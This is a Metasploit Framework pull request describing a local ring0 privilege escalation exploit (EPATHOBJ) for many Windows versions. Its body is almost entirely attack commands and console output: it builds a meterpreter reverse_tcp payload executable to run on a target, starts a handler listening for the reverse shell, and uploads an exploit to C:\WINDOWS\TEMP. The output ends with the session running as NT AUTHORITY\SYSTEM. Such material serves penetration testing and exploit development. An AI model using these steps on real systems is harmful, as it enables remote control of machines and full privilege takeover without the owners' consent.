rapid7/metasploit-framework — pull request #2024 by Keebie4e (2013-06-25 18:24:22+00:00)
Title: Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 R | msfencode -t exe -o payload.exe # run on target

msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.2:4444.
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.2:58531) at 2013-06-25 10:13:11 -0700

meterpreter > run complexpath
[*] Loading the ComplexPath executable and DLL from the local system...
[*] Uploading exploit to C:\WINDOWS\TEMP\DRFChKFaXht.exe...
[*] Escalating our process (PID:3676)...
[*] Press ^C if it hangs, then getuid to see if it worked...

[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM
msf >